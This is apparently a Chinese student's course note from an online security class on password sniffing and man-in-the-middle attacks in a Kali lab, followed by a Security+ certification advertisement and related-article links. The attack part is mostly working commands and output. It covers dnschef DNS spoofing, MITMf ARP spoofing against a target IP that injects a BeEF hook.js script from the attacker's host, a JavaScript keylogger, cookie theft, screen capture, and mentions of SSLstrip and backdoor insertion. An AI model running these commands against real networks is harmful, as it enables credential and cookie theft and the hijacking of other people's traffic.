密码嗅探

DNS欺骗代理

- dnschef --fakeip=1.1.1.10 --

fakedomains=www.google.com,www.youtube.com --interface 1.1.1.2

-q

将被害者DNS指向伪造的DNS服务器

root@k:~# dnschef --fakeip=192.168.1.1 --fakedomains=www.google.com,www.youtube.com --interface 192.168.1.110 -q

[+] DNSChef started on interface: 192.168.1.110

[+] Using the following nameservers: 8.8.8.8

[+] Cooking A replies to point to 192.168.1.1 matching: www.google.com

[+] Cooking A replies to point to 192.168.1.1 matching: www.youtube.com,www,goole.com

root@k:~# netstat -pantu | grep :53

udp        0       0 192.168.1.110:53         0.0.0.0:*                2073/python

把win7的DNS地址改为: 192.168.1.110

wireshark Network Analyzer

host 192.168.1.111

中间人攻击

注入XSS

- 即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码

- 一旦得手,影响范围巨大

- 如果中间人发生在运营商线路上,很难引起用户注意

Mitmf

- 曾经号称最好用的中间人攻击工具(kali 2.0后默认未安装)

- apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-

queue-dev libssl-dev libipeq-dev libxml2-dev libxslt1-dev libcapstone3

libcapstone-dev libffi-dev file

- apt-get install mitmf

- pip uninstall twisted

- wget http://twistedmatrix.com/Release/Twisted/15.5/Twisted-15.5.0.tar.bz2

- pip install ./Twisted-15.5.0.tar.bz2

root@k:~# apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libipeq-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

root@k:~# apt-get install mitmf

root@k:~# pip uninstall twisted

root@k:~# wget http://twistedmatrix.com/Release/Twisted/15.5/Twisted-15.5.0.tar.bz2

root@k:~# pip install ./Twisted-15.5.0.tar.bz2

root@k:~# mitmf

中间人攻击

启动beef

- cd /usr/share/beef-xss/

- ./beef

mitmf中间人注入xss脚本

- mitmf --spoof --arp -i eth0 --gateway 1.1.1.1 --target 1.1.1.2 --inject

--js-url http://1.1.1.3:3000/hook.js

- mitmf --spoof --arp -i eth0 --gateway 192.168.20.2 --target

192.168.20.1 --jskeylogger

- --upsidedownternet、--screen(/var/log/mitmg)

- --ferretng(cookie)、--browserprofiler(浏览器及插件信息)

- --smbtrap、--smbauth(不演示)

root@k:~# cd /usr/share/beef-xss/

root@k:/usr/share/beef-xss# ls

arerules  beef  beef_cert.pem  beef_key.pem  config.yaml  core  db  extensions  Gemfile  Gemfile.lock  modules

root@k:/usr/share/beef-xss# ./beef

root@k:/usr/share/beef-xss# openvas-stop

Stopping Openvas Services

root@k:/usr/share/beef-xss# mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --inject --js-url http://192.168.1.110:3000/hook.js

[+] MITMF v0.9.8 - 'The Dark Side'

|_ Inject v0.4

|_ Spoof v0.6

|  |_ ARP spoofing enabled

|

|

|_ Sergio-Proxy v0.2.1 online

|_ SSLstrip v0.9 by Moxie Marlinspike online

|

|_ Net-Creds v1.0 online

|_ MITMF-API online

* Running on http://127.0.0.1:9999/ (Press CTPL+C to quit)

|_ HTTP server online

|_ DNSChef v0.4 online

|_ SMB server online

root@k:~#  mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --jskeylogger

//键盘记录

root@k:~#  mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --upsidedownternet

//图片转180度

root@k:~#  mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --screen

//抓取图片

root@k:~#  mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --ferretng

//抓取cookie

root@k:~#  mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.114 --browserprofiler

//浏览器及插件信息

中间人攻击

--hsts

- HTTP Strict Transport Security

- 防止协议降级、cookie窃取

- 安全策略通过HTTP响应头" Strict-Transport-Security "实施

- 限制user-agent、https等

--filepwn

- 凌空插后门

该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂

Security+认证为什么是互联网+时代最火爆的认证?

牛妹先给大家介绍一下Security+

Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。

通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。

Security+认证如此火爆的原因?

原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。

目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。

原因二: IT运维人员工作与翻身的利器。

在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。

原因三:接地气、国际范儿、考试方便、费用适中!

CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。

在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。

【安全牛学习笔记】密码嗅探、中间人攻击相关推荐

  1. 【安全牛学习笔记】DNS放大攻击

    DNS放大攻击 产生大流量的攻击方法 - 单机的宽带的优势 - 巨大单机数量形成的流量汇聚 - 利用协议特性实现放大效果的流量 DNS协议放大效果 - 查询请求流量小,但响应流量可能非常巨大 - di ...

  2. Kali Linux学习笔记—无线渗透 WPA攻击(PSK破解、AIROLIB、JTR、cowpatty、pyrit)

    Kali linux 学习笔记 无线渗透--WPA攻击(PSK破解.AIROLIB.JTR.cowpatty.pyrit) PSK破解原理 PSK破解过程 实验步骤--使用字典rockyou.txt ...

  3. 【安全牛学习笔记】密码嗅探

    密码嗅探 二.三层地址 - IP网络到网络 - MAC主机到主机 交换机与HUB - HUB全端口转发 - 交换机根据学习地址转发 - 混杂模式抓包 [课外拓展]局域网密码嗅探器,只需在自己的电脑上运 ...

  4. 【安全牛学习笔记】手动漏洞挖掘(二)

    手动漏洞挖掘 身份认证 常用弱口令/基于字典的密码破爆破 锁定账号 信息收集 手机号 密码错误提示信息 密码嗅探 手动漏洞挖掘 会话sessionID Xss / cookie importer Se ...

  5. 【安全牛学习笔记】抓包嗅探

    ┃抓包嗅探 ┃Windows ┃    Wireshark ┃    Omnipeek ┃    commview ┃    Sniffpass ┃Linux ┃    Tcpdump ┃    Wi ...

  6. 【安全牛学习笔记】存储型XSS和BEEF浏览器攻击框架

    存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js& ...

  7. 【安全牛学习笔记】字典、在线密码破解-hydra

    字典 按个人信息生成其专属的密码字典 CUPP: Common User Password Profiler - git clone https://github.com/Mebus/cupp.git ...

  8. 【安全牛学习笔记】思路、身份认证方法、密码破解方法、字典

    思路 目标系统实施了强安全措施 - 安装了所有补丁 - 无任何已知漏洞 - 无应用层漏洞 - ***面最小化 社会工程学 获取目标系统用户身份 - 非授权用户不守信,认证用户可以访问守信资源 - 已有 ...

  9. 【安全牛学习笔记】COWPATTY 破解密码

    HTTP://ETUORLASLS.ORG/NETWORKING/802.11+SECURITY.+WI-FI+PROTECTED+ACCESS+AND+802.11I/ ╋━━━━━━━━━━━━━ ...

  10. 【安全牛学习笔记】Smurf攻击、Sockstress

    Smurf攻击 世界上最古老的DDOS攻击技术 - 向广播地址发送伪造源地址的ICMP echo Request (ping) 包 - LAN所有计算机向伪造源地址返回响应包 - 对现代操作系统几乎无 ...

最新文章

  1. 【NOIP2016】组合数问题
  2. An Introduction to Hashing in the Era of Machine Learning
  3. spring+quartz 完整例子
  4. springboot使用PageHelper实现分页
  5. 如何从零开始开发一款嵌入式产品(20年的嵌入式经验分享学习,来自STM32神舟系列开发板设计师的总结)
  6. 使用DynamoDBMapper插入DynamoDB项目
  7. python assertion failed_PyCharm报错与解决方法一览
  8. Delphi 7 定义你自己的事件
  9. Java-杂项:Java数组Array和集合List、Set、Map
  10. Kotlin的一些特殊运算符
  11. Java——零基础速成学习
  12. python爬取百度街景图像
  13. linux meld 编译,Linux 系统上的可视化比较与合并工具 Meld
  14. 40个常见的HTML5 面试问题及答案
  15. 移动联通电信老用户如何转腾讯大王卡、蚂蚁宝卡、鱼卡等技巧
  16. 为什么你学不会递归?告别递归,谈谈我的一些经验 关于集合中一些常考的知识点总结 .net辗转java系列(一)视野 彻底理解cookie,session,token...
  17. 无法删除文件夹,文件,出现指定的文件名无效或太长,请指定另一文件名
  18. 任天堂正式发布 NINTENDO SWITCH OLED,乐得瑞任天堂Switch底座方案
  19. 【Redis】Redis入门篇(1)
  20. coinex02// 撮合引擎 RingBuffer Disruptor的构建与使用

热门文章

  1. 【供应链案例】解密可口可乐供应链管理策略,揭头部饮料企业成功之道
  2. 记忆GRE词汇三大原则
  3. 【3D计算机视觉】Pointnet源码分析
  4. 服装erp系统的设计方案
  5. 四十四 老李来了 我在软件园的那些日子里
  6. 如何看Dlink DWA-125 无线网卡使用的芯片
  7. 某跳动面试官:说说微信扫码登录背后的实现原理?
  8. Linux之sqlite3使用
  9. golang操作sqlite3
  10. 转android gralloc流程分析for msm8960